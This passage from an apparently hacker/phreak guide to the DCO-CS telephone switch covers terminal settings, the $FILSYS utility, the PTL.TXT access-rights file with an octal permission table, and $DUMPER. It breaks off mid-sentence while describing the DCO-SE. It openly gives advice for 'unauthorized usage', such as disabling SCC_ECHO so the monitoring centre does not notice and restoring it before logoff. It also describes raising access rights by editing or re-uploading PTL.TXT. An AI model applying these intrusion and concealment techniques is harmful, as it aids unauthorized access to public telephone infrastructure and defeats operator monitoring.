SEC> OUTPUT PRIORITY (PRIORITY=NO) >
|
|
|
|
SEC> VT RESTRICTED (VTREST=NO) >
|
|
|
|
SEC> ECHO I/O TO SCC (SCC_ECHO=NO) >
|
|
|
|
SEC> INTER CHARACTER TIMING (INTCHAR TIME=YES) >
|
|
|
|
SEC> IDLE TERMINAL LOGOFF (IDLE TIME=NO) >
|
|
|
|
SEC> PAGINATED OUTPUT (PAGOUT =NO) >
|
|
|
|
SEC> SEND EOM TO TERMINAL (EOM=YES) >
|
|
|
|
SEC> TERMINAL LIMIT (LIMIT =0) >
|
|
|
|
|
|
SCC_ECHO may be set to "YES" or "NO" depending upon the individual
|
|
configurations of different TTYs, but it should certainly be set to "NO"
|
|
during unauthorized usage-otherwise, input and output through the terminal
|
|
will be echoed to the SCC, and, due to the heavy monitoring thereof, one's
|
|
access will be likely detected quickly and terminated, at best, rather
|
|
quickly! If this was set for a particular TTY, though, an alteration of it
|
|
might be noticed soon thereafter and thought suspicious; it is therefore
|
|
advisable, if SCC_ECHO was set to "YES", to turn it off during one's
|
|
session of system use and set it back to its original state prior to
|
|
logging off. Then again, if this option was set for a single TTY, it might
|
|
be wise simply to login from another if possible, for at least a minimal
|
|
amount of preliminary I/O would be echoed to the SCC prior to deactivation
|
|
of that feature.
|
|
|
|
|
|
Exploration of the File System with $FILSYS-
|
|
|
|
The filesystem of the DCO-CS is accessible through the $FILSYS utility,
|
|
from which directories may be traversed, various forms of the disk
|
|
directory printed, access rights displayed and modified, etc. The
|
|
functions/options of FILSYS are as follows:
|
|
|
|
|
|
FIL> ENTER FUNCTION (FUNC=HELP) >
|
|
|
|
ACCESS - CHANGE ACCESS RIGHTS
|
|
ATTRIB - LIST ALL FILES W/ THE SPECIFIED ATTRIBUTE
|
|
BACKUP - BACKUP DISK
|
|
BADBLK - GET A BAD BLOCK REPORT
|
|
BLKEDT - EDIT DISK BLOCKS
|
|
COMPARE - COMPARE TWO FILES
|
|
COMPRESS - COMPRESS A DISK
|
|
COPY - COPY FILES
|
|
CP_COMPRESS - COMPRESS CP PROGRAM FILE
|
|
CWD - CHANGE WORKING DIRECTORY
|
|
DB_COMPRESS - COMPRESS CP DATABASE FILE
|
|
DELETE - DELETE FILE
|
|
DIR - DISK DIRECTORY
|
|
DSKCMP - DISK COMPARE
|
|
FDIR - FULL DISK DIRECTORY
|
|
FORMAT - FORMAT A DISK
|
|
FREE - GET FREESPACE INFORMATION FOR A DISK
|
|
HDEDIT - EDIT PROGRAM HEADER
|
|
MKDIR - MAKE A SUB-DIRECTORY
|
|
MKFS - MAKE A FILESYSTEM
|
|
MKTAPE - MAKE A DCO TAPE FILESYSTEM
|
|
|
|
FIL> ADDITIONAL HELP (MORE=YES) >
|
|
|
|
MOVE - MOVE A FILE FROM ONE DIRECTORY TO ANOTHER
|
|
RENAME - RENAME FILES
|
|
SCHEDULE - SCHEDULE DSKMGR TO RUN
|
|
SDIR - SHORT DISK DIRECTORY
|
|
SFDIR - SHORT FULL DISK DIRECTORY
|
|
TYPE - PRINT TEXT FILE CONTENTS
|
|
VOLCHG - CHANGE A VOLUME LABEL
|
|
|
|
|
|
As stated previously, the DCO-CS filesystem is divided into many
|
|
directories and sub-directories beginning with the /ROOT/ directory. The
|
|
file attributes that may be input at ATTRIB are:
|
|
|
|
|
|
FIL> ENTER ATTRIB (ATTRIB=HELP) >
|
|
|
|
ABCPSU - ABORT TASK ON CPSU
|
|
ABSWO - ABORT TASK ON A/B SWITCHOVER
|
|
CCHOFF - TASK RUNS WITH CACHE OFF
|
|
CP1SYS - SINGLE COPY ALLOWED PER SYSTEM
|
|
CP1TTY - SINGLE COPY PER TERMINAL ALLOWED
|
|
DBFILE - DATA BASE FILE
|
|
DCCNTL - UNDER DIAGNOSTIC CONTROL
|
|
INCSWO - INHIBITS MP CONTROLLED SWITCHOVER
|
|
INDSPA - TASK HAS SEPARATE I AND D SPACE
|
|
INSTLL - TASK MAY BE INSTALLED
|
|
INTACT - TASK IS INTERACTIVE
|
|
KTASK - KERNAL TASK
|
|
MEMSEG - TASK IS MEMORY RESIDENT SEGMENTED
|
|
MRDATA - MEMORY RESIDENT DATA BASE
|
|
NOABRT - DO NOT ALLOW ABORT OF TASK
|
|
NOINTS - TASK RUNS WITH INTERRUPTS OFF
|
|
NONMAN - NO MANUAL INITIATION OR ABORT ALLOWED
|
|
NOSTAT - NO PRINT IN ACT STAT LIST IF BLOCKED
|
|
QUEREQ - QUEUE REQUEST IF TASK ACTIVE
|
|
RBOABR - RE-BOOT ON ABORT
|
|
RESCED - RESCHEDULE TASK IF ABORTED
|
|
|
|
FIL> ADDITIONAL HELP (MORE=YES) >
|
|
|
|
SEGMNT - SEGMENTED TASK
|
|
SGUMAP - UNMAP UNUSED MEMORY AFTER SEGMENT LOAD
|
|
SHRMEM - SHARE MEMORY IF TASK ACTIVE
|
|
STKCON - ALLOCATE STACK CONTIGUOUS TO PROGRAM
|
|
STKHI - ALLOCATE STACK FROM UPPER PAR AVAILABLE
|
|
|
|
|
|
Blocks of memory on the disk may be manually edited with BLKEDT (the
|
|
$MEMMAP utility displays block numbers, types, sizes, and names):
|
|
|
|
|
|
FIL> ENTER DEVICE (DEVICE=HELP) > SY
|
|
|
|
FIL> ENTER BLOCK (BLOCK=HELP) >
|
|
|
|
VALID BLOCKS ARE OCTAL NUMBERS FROM
|
|
0 TO THE MAXIMUM FOR THIS DEVICE.
|
|
|
|
FIL> ENTER BLOCK (BLOCK=HELP) > 0
|
|
|
|
LOCATION: 000000 000002 000004 000006 000010 000012 000014 000016
|
|
VALUE: 000240 000402 000042 000340 106427 000340 010167 000602
|
|
FIL> NEW VALUE: HELP
|
|
|
|
ADV - ADVANCE TO NEXT 8 WORDS OF BLOCK
|
|
BCK - BACKUP TO PREVIOUS 8 WORDS OF BLOCK
|
|
EXIT - EXIT BLKEDT WITHOUT DISK UPDATE
|
|
DONE - DONE, UPDATE BLOCK TO DISK
|
|
OCTAL NUMBERS RANGING FROM 0 TO 177777
|
|
|
|
|
|
DIR, FDIR, SDIR, and SFDIR all display in some fashion the disk directory.
|
|
DIR displays the components of the directory in the following format:
|
|
|
|
|
|
FIL> ENTER FUNCTION (FUNC=HELP) > DIR
|
|
|
|
FIL> ENTER FILENAME (FILE=HELP) >
|
|
|
|
ANY FILENAME
|
|
|
|
FIL> ENTER FILENAME (FILE=HELP) > /
|
|
|
|
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
|
|
|
|
/ROOT/
|
|
BITMAP FRSP
|
|
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
|
|
|
|
/ROOT/AMPPAT/
|
|
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000002 0000 0 00XXXXXX
|
|
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000367 0000 0 00XXXXXX
|
|
P0068_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000306 0000 0 00XXXXXX
|
|
P0070_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000764 0000 0 00XXXXXX
|
|
P0119_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000002501 0000 0 00XXXXXX
|
|
|
|
|
|
The filename, file type, creation date, date of last change, file size,
|
|
priority, and address on the hard disk are displayed. The two file types
|
|
are DIR (directory) and P/D (program, .txt file, .dat file, etc.). FDIR
|
|
(Full Disk Directory) displays a few more aspects of files examined:
|
|
|
|
|
|
FIL> ENTER FUNCTION (FUNC=DIR) > FDIR
|
|
|
|
FIL> ENTER FILENAME (FILE=ROOT/) >
|
|
|
|
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
|
|
|
|
/ROOT/
|
|
BITMAP FRSP
|
|
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
|
|
ACCESS - (MAINT ,RWX)
|
|
EXTENTS - 71(1.)
|
|
|
|
/ROOT/AMPPAT/
|
|
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000001 0000 0 00XXXXXX
|
|
ACCESS - (MAINT ,RWX)
|
|
EXTENTS - 14304(1.)
|
|
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000376 0000 0 00XXXXXX
|
|
ACCESS - (ADMIN ,RW),(TMRS ,RW),(STATUS,RW),(MAINT ,RW)
|
|
(SECURE,RW),(NAC ,RW),(ESPF,RW)
|
|
EXTENTS - 212753(5.)
|
|
|
|
|
|
In addition to the attributes displayed with DIR, with FDIR the access
|
|
rights and extents of the files are displayed. Access rights are displayed
|
|
in the format (GROUP, ABC) where ABC is populated with R (read), W (write),
|
|
and/or X (execute). SDIR will only display subdirectories within the
|
|
directory initially given (if a directory is initially provided) in the
|
|
minimal DIR format. If a subdirectory containing P/D files is entered, the
|
|
attributes of those files will be printed in the single-line minimal format
|
|
as well. SFDIR will display the directories in the "full format" (with
|
|
access and extents) before the P/D files, as does SDIR. Access rights are
|
|
modified through ACCESS:
|
|
|
|
|
|
FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS
|
|
|
|
FIL> ENTER FILENAME (FILE=HELP) > FILENAME
|
|
|
|
FIL> ENTER FUNCTION (FUNCTION=HELP) >
|
|
|
|
ADD - ADD ACCESS RIGHTS
|
|
DELETE - DELETE ACCESS RIGHTS
|
|
LIST - LIST ACCESS RIGHTS
|
|
|
|
FIL> ENTER FUNCTION (FUNCTION=HELP) > LIST
|
|
|
|
GROUP RIGHTS
|
|
----- ------
|
|
ADMIN R
|
|
TMRS R
|
|
STATUS R
|
|
MAINT R
|
|
SECURE R
|
|
NAC R
|
|
ESPF R
|
|
SCAT RW
|
|
|
|
FIL> ENTER FUNCTION (FUNCTION=LIST) > ADD
|
|
|
|
FIL> GROUP (GROUP=HELP) >
|
|
|
|
ENTER ANY OF THE FOLLOWING GROUP NAMES
|
|
|
|
ADMIN
|
|
TMRS
|
|
STATUS
|
|
MAINT
|
|
SECURE
|
|
NAC
|
|
ESPF
|
|
SPARE1
|
|
SPARE2
|
|
SPARE3
|
|
SPARE4
|
|
SPARE5
|
|
SPARE6
|
|
SPARE7
|
|
SPARE8
|
|
SCAT
|
|
DONE - UPDATE FILE ACCESS RIGHTS ON DISK
|
|
|
|
|
|
The setting of access rights through FILSYS will alter the access rights
|
|
stored in the file PTL.TXT, which may also be modified alternately and
|
|
directly as discussed in the next section.
|
|
|
|
PTL Modification-
|
|
|
|
To comprehend this concealment technique it is necessary to possess an
|
|
understanding of the derivation of access rights in the file system.
|
|
Occasionally (or often, depending upon the utilities used and the account
|
|
logged on) the curious hacker/phreak will find that the "INSUFFICENT ACCESS
|
|
RIGHTS" message will be displayed at attempts to invoke particular
|
|
programs/utilities or to view certain files. Even using the disk directory
|
|
options/functions of the $FILSYS utility it will be observed that
|
|
information for certain files is irretrievable due to insufficient access.
|
|
The inevitable question then arises as to where all of these access rights
|
|
are defined. Rewarded is the hacker who considers this sort of question-the
|
|
context of DCO exploration is no exception. Access rights and many other
|
|
attributes are defined and stored in an ASCII text file named PTL.TXT,
|
|
(access rights are merely a tertiary option) in the /ROOT/ directory,
|
|
appropriately entitled the Prioritized Task List-the PTL is the very heart
|
|
of the filesystem on a DCO-CS. At the beginning of the PTL all options and
|
|
the format of entries are explained:
|
|
|
|
|
|
***************************************************************************
|
|
!***** RELEASE OCC150 DEVELOPMENT PRIORITIZED TASK LIST *******************
|
|
!**************************************************************************
|
|
!
|
|
!
|
|
!
|
|
!
|
|
! The PRIORITIZED TASK LIST is free format ASCII text file. Any line that
|
|
! begins with an exclamation point(!) is assumed to be a comment, all other
|
|
! lines are assumed to be data lines. If a data line ends with a dash(-)the
|
|
! next line is used to continue the line. A data line may be no more than
|
|
! 1000 characters in length. Since this file is free format multiple blanks
|
|
! or tabs are treated as a single space.
|
|
!
|
|
! The PTL defines the list of tasks contained in a given release and the
|
|
! desired order in which to place the tasks on the disk. The PTL also
|
|
! defines the options, the processor type, and the values of the CP
|
|
! switches, e.g.: file type, access rights.
|
|
!
|
|
! A data line consists of the DCO file specification followed by optional
|
|
! switch modifiers.
|
|
!
|
|
!--------------------- BEGIN SWITCH DEFINITIONS -------------------------
|
|
!
|
|
! -proc <type> the processor type. This is used to determine the
|
|
! search rules for the file.
|
|
!
|
|
! -input <file> the input file name. If this switch is NOT given the
|
|
! input file name is derived from the output file
|
|
! specification. If the output file specification does
|
|
! NOT have an extension, an extension of .DTC is used.
|
|
! [EG: -INPUT STD.H]
|
|
!
|
|
! -for <option> the file is required FOR this option(feature). If the
|
|
! site has this option, the file will be copied to the
|
|
! DCO disk. If this switch is NOT given, the file is
|
|
! assumed to be part of the GENERIC and is always
|
|
! copied to the DCO disk. Options may be OR'ed together
|
|
! by separating the options by a vertical bar(|).
|
|
! [EG: -FOR LAB|ANI]
|
|
!
|
|
! -disk <nbr> forces the file to be copied to the given disk, if a
|
|
! a multi-disk set is required to hold all the files.
|
|
! If this switch is NOT given and a multi-disk set is
|
|
! required, the file will be placed on the first disk
|
|
! with enough available free space.
|
|
! [EG: -DISK 0]
|
|
!
|
|
! -size <bytes> make sure that at least X number of bytes are
|
|
! reserved. If this switch is NOT given the number of
|
|
! bytes reserved is determined by the size of the file.
|
|
! [EG: -SIZE 1792]
|
|
!
|
|
! -access <#,#,#> give the access rights to a file. These are used to
|
|
! define the first three words of the rights section
|
|
! in the DCO file header. If this switch is NOT given
|
|
! a value of 177777 is used for the three values. The
|
|
! values must be in OCTAL representation.
|
|
! [EG: -ACCESS 1000,1000,1000 -ACCESS ,100000,1]
|
|
! The order is: READ,WRITE,EXECUTE
|
|
!
|
|
! -load the file is to be used for the load/boot block
|
|
! on the DCO disk. Although the load block is NOT
|
|
! referenced by a DCO file specification, one is
|
|
! required in the PTL for completeness. The -INPUT
|
|
! switch is normally used in conjunction with this
|
|
! switch to specify the input file. Only one file may
|
|
! be marked with the -LOAD switch. That file is treated
|
|
! as task created by TKB and is loaded from byte offset
|
|
! 1024(02000).
|
|
! [EG: /boot_block -proc mp -load -input inildr.tsk]
|
|
!
|
|
! -offset the offset into the input file at which to start
|
|
! reading the data. Used only with the -LOAD switch
|
|
! [eg: please see the Appendix PTL file.]
|
|
!
|
|
! -ama_store designate as a special AMA storage file. This switch
|
|
! should be used with the -DISK switch to inform KUT
|
|
! on which disk the file should be placed.
|
|
! [EG: please see the Appendix PTL file.]
|
|
!
|
|
! -dir the DCO file specification is a DIRECTORY, valid
|
|
! switch modifiers are -FOR -ENTRIES & -RIGHTS
|
|
!
|
|
! -entries <nbr> reserve the given number of DIRECTORY entries
|
|
!
|
|
! -boot the file is designated a BOOT file. If this switch is
|
|
! NOT given the file is designated a PROGRAM/DATA file.
|
|
!
|
|
! -data the file is copied as a binary data file. A DCO
|
|
! file header is created.
|
|
!
|
|
! -text the file is copied as ASCII text file. A DCO file
|
|
! header is created.
|
|
!
|
|
! NOTE: if neither the -DATA or -TEXT switch is given
|
|
! the file is copied as an IMAGE file. In this
|
|
! case a DCO file header is NOT created, but
|
|
! assumed to exist in the input file.
|
|
!
|
|
! -name <name> used to specify the internal name of a file.
|
|
! [eg: -name RPLDAT]
|
|
!
|
|
!------------------------ END SWITCH DEFINITIONS ------------------------
|
|
!
|
|
!
|
|
!------------------------- BEGIN "FOR" OPTIONS --------------------------
|
|
!
|
|
! This section defines the valid options (features) that may be used
|
|
! with this release's ptl files. These options are to be used in
|
|
! conjuction with the "-for" and "-ifnot" switches. Those ptl entries
|
|
! that do not have a "-for" switch are defined as generic tasks/files
|
|
! and will be put on all disks kut for this release.
|
|
!
|
|
! alt Automatic Line Insulation Test
|
|
! ama Automatic Message Accounting
|
|
! big_ama AMA 10mb Emergency Storage on 2d IOmega disk
|
|
! codc Remote Polled LAMA
|
|
! dialup Dial-up Terminal Secure Access
|
|
! dli Data Link Interface (OCC3)
|
|
! dntrans DN transperancey
|
|
! esp Essential Service Protection Feature
|
|
! ess Emergency Switching Service
|
|
! fp Feature Processor
|
|
! gen The Base Line Generic
|
|
! hard_disk MSS Winchester (not iomega)
|
|
! lab Switch to allow all options for lab systems
|
|
! lab_test Tasks for testing in S-C lab only - not for fld use
|
|
! rcc Radio Common Carrier
|
|
! res Reseller (OCC4)
|
|
! rls1000 Remote Line Switch 1000, 360
|
|
! rls4000 Remote Line Switch 4000
|
|
! rpl3 - rpl7 Protocol selection for RPL (rplc03,rphp03,dlip03)
|
|
! simul Simulator Options for specific Simulator Tasks
|
|
! small_ama AMA 3mb Emergency Storage on 1st IOmega disk
|
|
! synopsis site synopsis text file for dbgen databases
|
|
! trafsep Traffic Separation (Source Destination)
|
|
! trktst Trunk Testing
|
|
! win Winchester Hard Disk Drive
|
|
! wkup Wake-up Service
|
|
!
|
|
! The following options were made generic per customer service on 9/19/91
|
|
!
|
|
! * abn Automatic Balance Network
|
|
! * aci Alarm Control Interface
|
|
! * bbt Board to Board Test
|
|
! * boc_tmrs Traffic Measure't Reptg. Sys w/BOC Config (LSSGR)
|
|
! * bx25 Bell x25 Interface - Operations Sys Netwrk Protocol
|
|
! * cba coin box accounting
|
|
! * dmp Duplex Maintenance Processor
|
|
! * e2a Switch Cntl Ctr Sys (SCCS) w/E2A Telemetry
|
|
! * eadas Bell Eng. and Admin. Data Acquisition System
|
|
! * pora Point of Origin Recorded Announcement
|
|
! * rlg Remote Line Group
|
|
! * rmas Bell Remote Memory Administration System
|
|
! * rns Remote Network Switch
|
|
! * rotl Remote Office Test Line
|
|
! * slc96 SLC-96 Interface
|
|
! * smp Simplex Maintenance Processor
|
|
! * tsitpp High-Density TSI/TPP Subsystem
|
|
! * veac Virtual Equal Access
|
|
!
|
|
! The following options were made codc per customer service on 9/19/91
|
|
!
|
|
! # amatps Protocol selection for AMATPS option
|
|
! # bisync Protocol selection for IBM BISYNC application
|
|
! # hdlc Protocol selection for pollstar application
|
|
!
|
|
!-------------------------- END "FOR" OPTIONS ---------------------------
|
|
!
|
|
!--------------------- BEGIN PROCESSOR DEFINITIONS ----------------------
|
|
!
|
|
! The following is the list of valid processor ids for this release to
|
|
! be used with the -proc switch. Each processor id is usually associated
|
|
! with an unique SCM software set.
|
|
!
|
|
! ac = aci
|
|
! al = alit
|
|
! amp = amp message database
|
|
! bxc = bx25
|
|
! cbc =
|
|
! cp = call processor
|
|
! dct = database software (dbver, dbview, dbchek, ...)
|
|
! dli =
|
|
! fc =
|
|
! fp = feature processor
|
|
! inet = To add intelligent network MP files to KUT medium.
|
|
! lg = lgc (line group controller)
|
|
! lt = ltc
|
|
! ma = mah/mar (rls1000)
|
|
! mci =
|
|
! md = mdc
|
|
! mp = maint/admin processor
|
|
! mp_text = command files (com directory)
|
|
! ptl = to add ptl file to disk
|
|
! rg = rlg (remote line group controller)
|
|
! rlr =
|
|
! rph =
|
|
! rls4 = rls4000 tasks
|
|
! rls68 = 68000 processor tasks for RLS4000, created 9/30/90.
|
|
! rt = rtc (slc96)
|
|
! ss7 =
|
|
! up =
|
|
! tmp =
|
|
!
|
|
!---------------------- END PROCESSOR DEFINITIONS -----------------------
|
|
!
|
|
!------------------------- BEGIN PTL FILE LIST --------------------------
|
|
!
|
|
/boot_block -proc mp -load -offset 01000 -input inildr.dtc
|
|
/smosld -proc mp -boot -disk 0
|
|
!
|
|
/com/a -proc mp_text -text -input a.txt -dynamic -
|
|
-access ,100000,0
|
|
/a15shu -proc mp -
|
|
-access 100000,100000,100000
|
|
/abnutl -proc mp -
|
|
-access 100000,100000,100011
|
|
/abort -proc mp -
|
|
-access 100000,100000,
|
|
/segment/diag2/type5/abotcp -proc mp -
|
|
-access ,100000,0
|
|
/segment/diag2/type5/abotst -proc mp -
|
|
-access ,100000,0
|
|
/required/abrt -proc mp -disk 0 -
|
|
-access 100000,100000,
|
|
/driver/acidrv -proc mp -
|
|
-access 100000,100000,100000
|
|
/download/acipgm -proc ac -
|
|
-access ,100000,0
|
|
/acisu -proc mp -
|
|
-access 100000,100000,100010
|
|
/acitst -proc mp -
|
|
-access 100000,100000,100010
|
|
-------List truncated for brevity-----------
|
|
|
|
!-------------------------- END PTL FILE LIST ---------------------------
|
|
|
|
|
|
Access rights in the PTL are denoted with a "-access" switch under file
|
|
options, in the following syntactical order: READ, WRITE, EXECUTE; in other
|
|
words, the octal values which represent account access permissions for a
|
|
file denote consecutively, from left to right, which accounts are permitted
|
|
to read (or view) the file in question, write to it, or execute it if it is
|
|
executable. The following table of octal values may prove useful:
|
|
|
|
Octal Value Group(s) with Permission
|
|
=========== ========================
|
|
0 NONE
|
|
1 ADMIN
|
|
2 TMRS
|
|
10 MAINT
|
|
100000 SCAT
|
|
100001 ADMIN, SCAT
|
|
100002 TMRS, SCAT
|
|
100005 ADMIN, STATUS, SCAT
|
|
100010 MAINT, SCAT
|
|
100011 ADMIN, MAINT, SCAT
|
|
100012 TMRS, MAINT, SCAT
|
|
100013 ADMIN, TMRS, MAINT, SCAT
|
|
100014 STATUS, MAINT, SCAT
|
|
100020 SECURE, SCAT
|
|
100024 STATUS, SECURE, SCAT
|
|
100030 MAINT, SECURE, SCAT
|
|
100035 ADMIN, STATUS, MAINT, SECURE, SCAT
|
|
100036 TMRS, STATUS, MAINT, SECURE, SCAT
|
|
100037 ADMIN, TMRS, STATUS, MAINT, SECURE, SCAT
|
|
100042 TMRS, NAC, SCAT
|
|
100050 MAINT, NAC, SCAT
|
|
100071 ADMIN, MAINT, SECURE, NAC
|
|
100075 ADMIN, STATUS, MAINT, SECURE, NAC
|
|
100077 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, SCAT
|
|
100140 NAC, ESPF, SCAT
|
|
100141 ADMIN, NAC, ESPF, SCAT
|
|
100150 MAINT, NAC, ESPF, SCAT
|
|
100154 STATUS, MAINT, NAC, ESPF, SCAT
|
|
100155 ADMIN, STATUS, MAINT, NAC, ESPF, SCAT
|
|
100160 SECURE, NAC, ESPF, SCAT
|
|
100164 STATUS, SECURE, ESPF, SCAT
|
|
100175 ADMIN, STATUS, MAINT, SECURE, NAC, ESPF, SCAT
|
|
100177 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, ESPF, SCAT
|
|
177777 ALL DEFINED GROUPS
|
|
|
|
Any octal value in this table indicates the groups with the permission that
|
|
it occupies under "-access" in the PTL. For instance, if a file had -access
|
|
10, 100000, 100001, the MAINT group would have read permission, the SCAT
|
|
group write permission, and the ADMIN and SCAT groups execute permission.
|
|
Most accounts have read access to the PTL, but only SCAT has default write
|
|
access to it. The PTL (and other files) may be modified in the $EDIT
|
|
utility. Alternately the PTL.TXT file could be downloaded using $XFER (the
|
|
file transfer command/program), modified, and re-uploaded.
|
|
|
|
|
|
Memory Reading-
|
|
|
|
An alternate way of reading/analyzing the information in various files such
|
|
as the PTL, though of slightly limited usefulness, lies in the use of
|
|
utilities such as $DUMPER to dump the contents of the file in question in a
|
|
base of one's selection or ASCII. Note that, unfortunately, it is
|
|
impossible to dump the contents of a file to which one does not already
|
|
have access, for the file would have to be read by the utility in order for
|
|
its contents to be output. Still, the indirect access of files in this
|
|
manner may prove useful in a few situations-for instance, if everything on
|
|
a particular terminal was heavily monitored (echoed to the SCC, perhaps?)
|
|
and the direct reading and/or editing of files an extremely revealing
|
|
factor. Then again, if one follows the procedures described throughout
|
|
these notes for concealing one's presence on the switch even rather heavy
|
|
monitoring ought not to be a major obstruction.
|
|
|
|
$DUMPER /NODIAL
|
|
|
|
DUM> FILE NAME (FILE=HELP) > /ROOT/PTL.TXT
|
|
|
|
DUM> BASE (BASE=HELP) >
|
|
|
|
DECIMAL OR 10 - WILL OUTPUT THE DATA AND ADDRESSES IN DECIMAL
|
|
OCTAL OR 8 - WILL OUTPUT THE DATA AND ADDRESSES IN OCTAL
|
|
HEXIDECIMAL OR 16 - WILL OUTPUT THE DATA AND ADDRESSES IN HEXIDECIMAL
|
|
IF YOU PRECEED THE RESPONSE WITH AN A, SUCH AS A10 OR AOCTAL,
|
|
THEN THE DATA WILL BE OUTPUT IN ASCII AND THE ADDRESS IN THE BASE
|
|
EXIT - WILL EXIT THIS TASK
|
|
|
|
DUM> BASE (BASE=HELP) > AHEX
|
|
|
|
DUM> TYPE (TYPE=HELP) >
|
|
|
|
HEADER - WILL OUTPUT THE FILE HEADER
|
|
DATA - WILL OUTPUT THE ACTUAL CONTENTS OF THE FILE
|
|
EXIT - WILL EXIT THIS TASK
|
|
|
|
DUM> TYPE (TYPE=HELP) > DATA
|
|
|
|
DUM> START ADDRESS (START=HELP) > 3000
|
|
|
|
DUM> STOP ADDRESS (STOP=HELP) > 9000
|
|
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
|
|
003000 - B E G I N P R O C E S S
|
|
003010 O R D E F I N I T I O N S
|
|
003020 - - - - - - - - - - - - - - - -
|
|
003030 - - - - - - - - \n ! \n !
|
|
003040 T h e f o l l o w i n g i s
|
|
003050 t h e l i s t o f v a l
|
|
003060 i d p r o c e s s o r i d s
|
|
003070 f o r t h i s r e l e a s
|
|
003080 e t o b e \n ! u s e
|
|
003090 d w i t h t h e - p r o c
|
|
0030a0 s w i t c h . E a c h p
|
|
0030b0 r o c e s s o r i d i s u
|
|
0030c0 s u a l l y a s s o c i a t e
|
|
0030d0 d w i t h \n ! a n u
|
|
0030e0 n i q u e S C M s o f t w a
|
|
0030f0 r e s e t . \n ! \n ! a
|
|
003100 c =
|
|
003110 a c i \n ! a l
|
|
003120 = a l i t \n !
|
|
003130 a m p
|
|
003140 = a m p m e s s a g e
|
|
003150 d a t a b a s e \n ! b
|
|
003160 x c =
|
|
003170 b x 2 5 \n ! c b c
|
|
003180 = \n !
|
|
003190 c p =
|
|
0031a0 c a l l p r o c e s s o r \n
|
|
|
|
|
|
Additional Information/Conclusion
|
|
---------------------------------
|
|
|
|
Other/Miscellaneous/General-
|
|
|
|
The DCO family product line is currently owned/supported by Genband, an IP
|
|
Multimedia System company based in Texas. Interestingly, the DCO-CS is also
|
|
the only major Class 5 switch on the PSTN for which VoIP conversion
|
|
hardware to operate in conjunction with the switching hardware has not been
|
|
widely manufactured, with the exception of a few media gateways. Its use in
|
|
the future is likely to diminish due to its aging status, although DCO
|
|
switches are to be found servicing many rural communities. Contrary to
|
|
popular belief, all installed DCOs have not been replaced by the EWSD or
|
|
other, newer switches. It was estimated as of 2006 that approximately 14
|
|
million lines were installed on North American DCO and EWSD switches, and
|
|
that over 2,500 host and remote switches comprise the DCO install base in
|
|
North America.
|
|
|
|
An Additional Note: DCO-SE-
|
|
|
|
Another member of the DCO family worthy of mention is the DCO-SE, a line
|
|
switch capable of servicing up to 10,000 lines, as opposed to the DCO-CS,
|
|
which is capable of servicing only a very limited number of lines and is
|
|
primarily concerned with long distance (inter-LATA) related service. The
|
|
software of the DCO-SE is enhanced and although the MMI is extremely
|
|
similar, several alterations of note exist, due to its main function. In
|
|
fact, an entire albeit brief article could be devoted to the
|
|
differentiations between these two switches in the DCO family, but here for
|
|
reasons of succinctity only the more "interesting" aspects of the DCO-SE
|
|
will be mentioned, those most major alterations to the MMI and switch
|
|
utilities. First, the $ADMIN utility contains many different options, such
|
|
as the following:
|
|
|
|
DCO>
|
|
$ADMIN
|
|
|
|
ADM>HELP
|
|
|
|
ENTER THE GROUP TYPE TO BE ADMINISTERED.
|
|
SOME OF THESE GROUPS ARE ACCESS RESTRICTED
|
|
ERR - DISPLAY ERROR CODES FROM DBMS
|
|
ACCESS - ISDN BRI ACCESS
|
|
BG - BUSINESS GROUPS (CENTREX,MVP1,MVP2)
|
|
CARRIER - EQUAL ACCESS CARRIER CODE
|
|
CC - CUSTOM CALLING QUERIES
|
|
CEI - CUSTOMER EQUIPMENT INTERFACE
|
|
COMM - DATA COMMUNICATIONS
|
|
COS - CLASS OF SERVICE
|
|
CODRES - CODE RESTRICTION LIST
|
|
CV - CLASS VALUES (VOICE DATA PROTECTION)
|
|
DOP - DIAL OUT PLAN
|
|
E911T - EMERGENCY 911 TANDEM
|
|
ESS - EMERGENCY SWITCHING SERVICE, RLS-4000
|
|
FKMP - FEATURE KEY MANAGEMENT PROFILE
|
|
FN - FEATURE NAME
|
|
HG - HUNT GROUPS
|
|
IG303 - INTERFACE GROUPS 303
|
|
LAW - LAWFUL ACCESS
|
|
LCC - LINE CLASS CODES
|
|
|
|
Contrasted with a DCO-CS $ADMIN menu:
|
|
|
|
|
|
ERR - DISPLAY ERROR CODES FROM DBMS
|
|
AIN - ADVANCED INTELLIGENCE NETWORK
|
|
CEI - CUSTOMER EQUIPMENT INTERFACE
|
|
COS - CLASS OF SERVICE
|
|
CODRES - CODE RESTRICTION LIST
|
|
CV - CLASS VALUES (VOICE DATA PROTECTION)
|
|
FN - FEATURE NAME
|
|
HG - HUNT GROUPS
|
|
LCC - LINE CLASS CODES
|
|
LCN - LINE CLASS NAMES
|
|
LINE - EN/DN LINES
|
|
MACRO - MACRO DEFINITIONS
|
|
MBG - MAKE BUSY GROUPS
|
|
NRT - NETWORK DN TRANSPARENCY ROUTE TREATMENTS
|
|
OPTIONS - FEATURE OPTIONS
|
|
RING - DEFAULT RING CODES
|
|
SITE - SITE NAME
|
|
SS7 - SIGNALING SYSTEM NUMBER 7
|
|
|
|
$ADMIN, as one may recall from the HELP text, is described as the utility
|
|
used for "RECENT CHANGE/DATABASE ADMINISTRATION". Since the DCO-SE has
|
|
support for Centrex and may service up to 10,000 lines, administration
|
|
groups such as BG, CC, ESS, etc. have been added, and groups such as SS7,
|
|
AIN, MACRO, MBG, etc. do not exist as they do on the DCO-CS. Second, two
|
|
additional default account groups exist on the DCO-SE-LAW and NOVICE:
|
|
|
|
LAW-LAW is used for the lawful survellience/monitoring of lines authorized
